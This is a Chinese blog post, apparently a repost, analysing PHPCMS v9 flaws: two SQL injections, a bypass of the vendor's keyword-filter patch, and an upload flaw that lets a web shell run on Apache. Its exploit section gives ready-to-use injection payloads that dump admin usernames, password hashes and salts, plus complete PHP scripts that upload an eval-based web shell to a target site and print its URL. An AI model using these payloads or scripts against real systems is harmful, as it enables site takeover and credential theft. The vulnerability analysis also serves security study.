PHPCMS v9的那些注入和getwebshell

独自等待 2017年5月12日01:31:31评论351 views字数 14094阅读46分58秒阅读模式

0x00 前言

PHPCMS V9(后面简称V9)采用PHP5+MYSQL做为技术基础进行开发。V9采用OOP(面向对象)方式进行基础运行框架搭建。模块化开发方式做为功能开发形式。框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求。 5年开发经验的优秀团队,在掌握了丰富的WEB开发经验和CMS产品开发经验的同时,勇于创新追求完美的设计理念,为全球多达10万网站提供助力,并被更多的政府机构、教育机构、事业单位、商业企业、个人站长所认可。

V9在保留2008版的特点的同时,对新版本作出重大的创新,以期待全新的PHPCMS系统服务更多的用户。(以上复制的官网简介)

新年到来的时候wooyun和t00ls上都有把phpcms v9的漏洞作为新年礼物发布出来和大家分享,我也去下载了最新的phpcms v9的程序分析了下代码,在此把一些菜鸟的心得说给大家听下,望大家指正。

0x01 新年左右的注入

1.短消息回复注入

/phpcms/modules/message/index.php
public function reply() {
if(isset($_POST['dosubmit'])) {
$messageid = intval($_POST['info']['replyid']);
//判断当前会员,是否可发,短消息.
$this->message_db->messagecheck($this->_userid);
 //检查此消息是否有权限回复 
$this->check_user($messageid,'to');
$_POST['info']['send_from_id'] = $this->_username;
$_POST['info']['message_time'] = SYS_TIME;
$_POST['info']['status'] = '1';
$_POST['info']['folder'] = 'inbox';
$_POST['info']['content'] = safe_replace($_POST['info']['content']);
$_POST['info']['subject'] = safe_replace($_POST['info']['subject']);
if(empty($_POST['info']['send_to_id'])) {
howmessage(L('user_noempty'),HTTP_REFERER);
}
$messageid = $this->message_db->insert($_POST['info'],true);//这儿数据传入                     
if(!$messageid) return FALSE; 
showmessage(L('operation_success'),HTTP_REFERER);
} else {
$show_validator = $show_scroll = $show_header = true; 
include template('message', 'send');
}
}

上边把POST数据直接传入了insert函数

Mysql.class.php中:

public function insert($data, $table, $return_insert_id = false, $replace = false) {
if(!is_array( $data ) || $table == '' || count($data) == 0) {
     return false;
     }
    $fielddata = array_keys($data);//这儿直接以数组下标作为字段
    $valuedata = array_values($data);
    array_walk($fielddata, array($this, 'add_special_char')); 
//到了关键地方,关键的过滤函数add_special_char                
array_walk($valuedata, array($this, 'escape_string'));
    $field = implode (',', $fielddata);
    $value = implode (',', $valuedata);
    $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
    $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
    $return = $this->execute($sql);
return $return_insert_id ? $this->insert_id() : $return;
}

漏洞函数出现了:

public function add_special_char(&$value) {
if('*' == $value || false !== strpos($value, '(') || false !== strpos($value, '.') || false !== strpos ( $value, '`')) {
//不处理包含* 或者 使用了sql方法。
} else {
$value = '`'.trim($value).'`';
}
return $value;
}

上边过滤函数没有有效过滤

2.生日修改注入

漏洞函数

/phpcms/modules/member/index.php
public function account_manage_info() {
if(isset($_POST['dosubmit'])) {
 //更新用户昵称
$nickname = isset($_POST['nickname']) && trim($_POST['nickname']) ? trim($_POST['nickname']) : '';
if($nickname) {
$this->db->update(array('nickname'=>$nickname), array('userid'=>$this->memberinfo['userid']));
  if(!isset($cookietime)) {
   $get_cookietime = param::get_cookie('cookietime');
  }
  $_cookietime = $cookietime ? intval($cookietime) : ($get_cookietime ? $get_cookietime : 0);
  $cookietime = $_cookietime ? TIME + $_cookietime : 0;
  param::set_cookie('_nickname', $nickname, $cookietime);
 }
 require_once CACHE_MODEL_PATH.'member_input.class.php';
 require_once CACHE_MODEL_PATH.'member_update.class.php';
 $member_input = new member_input($this->memberinfo['modelid']);
 $modelinfo = $member_input->get($_POST['info']);//数据传入get函数,经过get函数对注入语句无影响
 $this->db->set_model($this->memberinfo['modelid']);
 $membermodelinfo = $this->db->get_one(array('userid'=>$this->memberinfo['userid']));
 if(!empty($membermodelinfo)) {
  $this->db->update($modelinfo, array('userid'=>$this->memberinfo['userid'])); //进入sql语句形成注入
 } else {
  $modelinfo['userid'] = $this->memberinfo['userid'];
  $this->db->insert($modelinfo);
 }
Mysql.class.php文件
public function update($data, $table, $where = '') {
if($table == '' or $where == '') {
return false;
}
$where = ' WHERE '.$where;
$field = '';
if(is_string($data) && $data != '') {
$field = $data;
} elseif (is_array($data) && count($data) > 0) {
$fields = array();
foreach($data as $k=>$v) {
switch (substr($v, 0, 2)) {
case '+=':
$v = substr($v,2);
if (is_numeric($v)) {
$fields[] =$this->add_special_char($k).'='.$this->add_special_char($k).'+'.$this->escape_string($v, '', false);
} else {
continue;
}
break;
case '-=':
$v = substr($v,2);
if (is_numeric($v)) {
$fields[] =$this->add_special_char($k).'='.$this->add_special_char($k).'-'.$this->escape_string($v, '', false);
} else {continue;}
break;
default:
$fields[] = $this->add_special_char($k).'='.$this->escape_string($v);
}
}
$field = implode(',', $fields);
} else {
return false;
}
$sql = 'UPDATE `'.$this->config['database'].'`.`'.$table.'` SET '.$field.$where;
return $this->execute($sql);
}

可以清楚的看出又是使用的add_special_char函数过滤哦。所以其实这两个注入都是利用的程序设计的同一个bug。

0x02 绕过厂商的补丁

当让漏洞被发现者上报wooyun后厂商也做了相应的补丁,厂商也找到了漏洞的根源也就是:public function add_special_char(&$value)函数。

补丁后函数如下:

public function add_special_char(&$value) {
 if('*' == $value || false !== strpos($value, '(') || false !== strpos($value, '.') || false !== strpos ( $value, '`')) {
 //不处理包含* 或者 使用了sql方法。
 } else {
  $value = '`'.trim($value).'`';
 }
 if (preg_match("/\b(select|insert|update|delete)\b/i", $value)) {
  $value = preg_replace("/\b(select|insert|update|delete)\b/i", '', $value);
 }
 return $value;
 }

很明显厂商直接做了过滤:

$value = preg_replace("/\b(select|insert|update|delete)\b/i", '', $value);

看着这个可能有人会猜测selselectect是不是可以绕过呢,答案是否的。大家可以看到有个\b,这个为整词匹配,也就是说如果你是selselectect,这个为一个完整的词,用这个完整的词去匹配,不会单独拿这个词的一部分去匹配,因此经过匹配仍然是selselecctect。

那我们怎么绕过呢?

/*!50000select*/这个就是答案了,首先作为一个整词50000select是不会被正则掉的,其次使用/*!*/这个特殊的mysql的特性使得select的作用不变,完整的绕过了补丁。

从上文提到的两个注入可以看出这个过滤函数是非常重要的,如果这个过滤函数被绕过了,注入漏洞也许不止上文中的两个吧!

0x03 破不开的密码

上文提到了注入,我们也只是得到了当前的数据库操作权限(数据库权限大,可以跨库之类的就另当别论了)。

当然我们有了注入读取管理员进入后台,然后后台getwebshell这个是一般思路,但是phpcms v9的加密是加有salt的和dz加密一样,使之破解难度非常大。以前写过一个php破解脚本,单线程效率灰常低,有兴趣了可以看下。

http://lanu.sinaapp.com/PHP_study/89.html

密码破不开只能看看有没有什么前台getwebshell之类的了。

0x04 曾经的getwebshell

漏洞文件:phpcms\modules\attachment\attachments.php

漏洞函数:crop_upload

if (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {
$pic = $GLOBALS["HTTP_RAW_POST_DATA"];//这里可以得知,图片内容由POST控制
//中间省略十万行
if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {
$file = $_GET['file'];
$basename = basename($file);
if (strpos($basename, 'thumb_')!==false) {
$file_arr = explode('_', $basename);
$basename = array_pop($file_arr);
}
$new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;
}

//中间省略十万行

file_put_contents($this->upload_path.$filepath.$new_file, $pic);

//上面可见,文件名$basename可控,图片内容可控,还有什么不能做??

上面这段代码是截取wooyun上的,时间太久了没有找到当时漏洞版本的程序。

网上也有相应的exp:

';
$aspshell='<%eval request("'.$pass.'")%>';
if($js==1){
        $file="1.asp;1.jpg";
         $ret=GetShell($url,$aspshell,$file);
}else if($js==2){
        $file="1.php;1.jpg";
        $ret=GetShell($url,$phpshell,$file);
}else if($js==3){
        $file="1.php.jpg";
        $ret=GetShell($url,$phpshell,$file);
}else{
        print_r('没有选择脚本类型');
}
$pattern = "|http:\/\/[^,]+?\.jpg,?|U";
preg_match_all($pattern, $ret, $matches);
if($matches[0][0]){
        echo "\r\nurl地址:".$matches[0][0];
}else{
        echo "\r\n没得到!";        
}
function GetShell($url,$shell,$js){
        $content =$shell;
        $data = "POST /index.php?m=attachment&c=attachments&a=crop_upload&width=1&height=1&file=http://".$url."/uploadfile/".$js." HTTP/1.1\r\n"; 
        $data .= "Host: ".$url."\r\n";
        $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
        $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
        $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
        $data .= "Connection: close\r\n";
        $data .= "Content-Length: ".strlen($content)."\r\n\r\n";
        $data .= $content."\r\n";
        //echo $data;
        $ock=fsockopen($url,80);
        if (!$ock) {
        echo "  No response from ".$url."\n";
        }
        fwrite($ock,$data);
        $resp = '';
        while (!feof($ock)) {
               $resp.=fread($ock, 1024);
       }
       return $resp;
}
?>

可以看出基本都是利用的web容器的解析漏洞,时间过了这么久了,厂商补丁应该是打上了。

我在最新的phpcms中使用这个exp,没有成功。

0x05 补漏了apache

补丁已打,但却依然不是那么完善。

最新程序:

public function crop_upload() {
if (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {
$pic = $GLOBALS["HTTP_RAW_POST_DATA"];
if (isset($_GET['width']) && !empty($_GET['width'])) {
$width = intval($_GET['width']);
}
if (isset($_GET['height']) && !empty($_GET['height'])) {
$height = intval($_GET['height']);
}
if (isset($_GET['file']) && !empty($_GET['file'])) {
$_GET['file'] = str_replace(';','',$_GET['file']);//过滤了fen号
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键
if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {
$file = $_GET['file'];
$basename = basename($file);//获取带有后缀的文件名
if (strpos($basename, 'thumb_')!==false) {
$file_arr = explode('_', $basename);
$basename = array_pop($file_arr);
}
$new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;
} else {
pc_base::load_sys_class('attachment','',0);
$module = trim($_GET['module']);
$catid = intval($_GET['catid']);
$siteid = $this->get_siteid();
$attachment = new attachment($module, $catid, $siteid);
$uploadedfile['filename'] = basename($_GET['file']); 
$uploadedfile['fileext'] = fileext($_GET['file']);
if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {
$uploadedfile['isimage'] = 1;
}
$file_path = $this->upload_path.date('Y/md/');
pc_base::load_sys_func('dir');
dir_create($file_path);
$new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];
$uploadedfile['filepath'] = date('Y/md/').$new_file;
$aid = $attachment->add($uploadedfile);
}
$filepath = date('Y/md/');
file_put_contents($this->upload_path.$filepath.$new_file, $pic);
} else {
return false;
}
echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;
exit;
}
}

后缀检测:

phpcms\modules\attachment\functions\global.func.php
function is_image($file) {
$ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');
$ext = fileext($file);关键地方
return in_array($ext,$ext_arr) ? $ext_arr :false;
}

关键函数:

function fileext($filename) {
return strtolower(trim(substr(strrchr($filename, '.'), 1, 10)));
}

Fileext函数是对文件后缀名的提取。

根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php

经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。

我们回到public function crop_upload() 函数中

if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();

在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数

这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。

经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。

最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。

看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。

0x06 Exploit编写

1.注入:

短消息回复注入:

%60userid%60%29+values%28%28/*!50000SeLECT*/+1+FROM+%28/*!50000SeLECT*/+count%28%2a%29%2Cconcat%28floor%28rand%280%29%2a2%29%2C%28substring%28%28/*!50000SeLECT*/+%28/*!50000SeLECT*/+concat%280x23%2Ccast%28concat%28username%2C0x3a%2Cpassword%2C0x3a%2Cencrypt%29+as+char%29%2C0x23%29+from+v9_admin+LIMIT++0%2C1%29%29%2C1%2C62%29%29%29a+from+information_schema%2Etables+group+by+a%29b%29%29+%2D%2D+

生日修改注入:

%60userid%60%3D%28/*!50000SeLECT*/+1+FROM+%28/*!50000SeLECT*/+count%28%2a%29%2Cconcat%28floor%28rand%280%29%2a2%29%2C%28substring%28%28/*!50000SeLECT*/+%28/*!50000SeLECT*/+concat%280x23%2Ccast%28concat%28username%2C0x3a%2Cpassword%2C0x3a%2Cencrypt%29+as+char%29%2C0x23%29+from+v9_admin+LIMIT++0%2C1%29%29%2C1%2C62%29%29%29a+from+information_schema%2Etables+group+by+a%29b%29+%2D%2D+

2.getshell(apache)

';
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
if($ret=Create_dir($url,$path))
{
//echo $ret;
$pattern = "|Server:[^,]+?|U";
preg_match_all($pattern, $ret, $matches);
if($matches[0][0])
{
if(strpos($matches[0][0],'Apache') == false)
{
echo "\n亲!此网站不是apache的网站。\n";exit;
}
}
$ret = GetShell($url,$phpshell,$path,$file);
$pattern = "|http:\/\/[^,]+?\.,?|U";
preg_match_all($pattern, $ret, $matches);
if($matches[0][0])
{
echo "\n".'密码为: '.$pass."\n";
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
}
else
{
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
preg_match_all($pattern, $ret, $matches);
if($matches[0][0])
{
echo "\n".'密码为: '.$pass."\n";
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
}
else
{
echo "\r\n没得到!\n";exit;
}
}
}
function GetShell($url,$shell,$path,$js)
{
    $content =$shell;
    $data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n"; 
    $data .= "Host: ".$url."\r\n";
    $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    $data .= "Connection: close\r\n";
    $data .= "Content-Length: ".strlen($content)."\r\n\r\n";
    $data .= $content."\r\n";
    $ock=fsockopen($url,80);
    if (!$ock) 
{
        echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
    }
else
{
fwrite($ock,$data);
$resp = '';
while (!feof($ock)) 
{
$resp.=fread($ock, 1024);
}
return $resp;
}
}
function Create_dir($url,$path='')
{
    $content ='I love you';
    $data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n"; 
    $data .= "Host: ".$url."\r\n";
    $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    $data .= "Connection: close\r\n";
    $data .= "Content-Length: ".strlen($content)."\r\n\r\n";
    $data .= $content."\r\n";
    $ock=fsockopen($url,80);
    if (!$ock) 
{
        echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
    }
fwrite($ock,$data);
    $resp = '';
    while (!feof($ock)) 
{
        $resp.=fread($ock, 1024);
    }
return $resp;
}
?>

0x07 结束语

以上皆是小菜一家之言,

如有错误希望指正,

如有建议希望讨论。

原文地址:http://lanu.sinaapp.com/0day/132.html



from www.waitalone.cn.thanks for it.

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
独自等待
  • 本文由 发表于 2017年5月12日01:31:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHPCMS v9的那些注入和getwebshellhttps://cn-sec.com/archives/50222.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息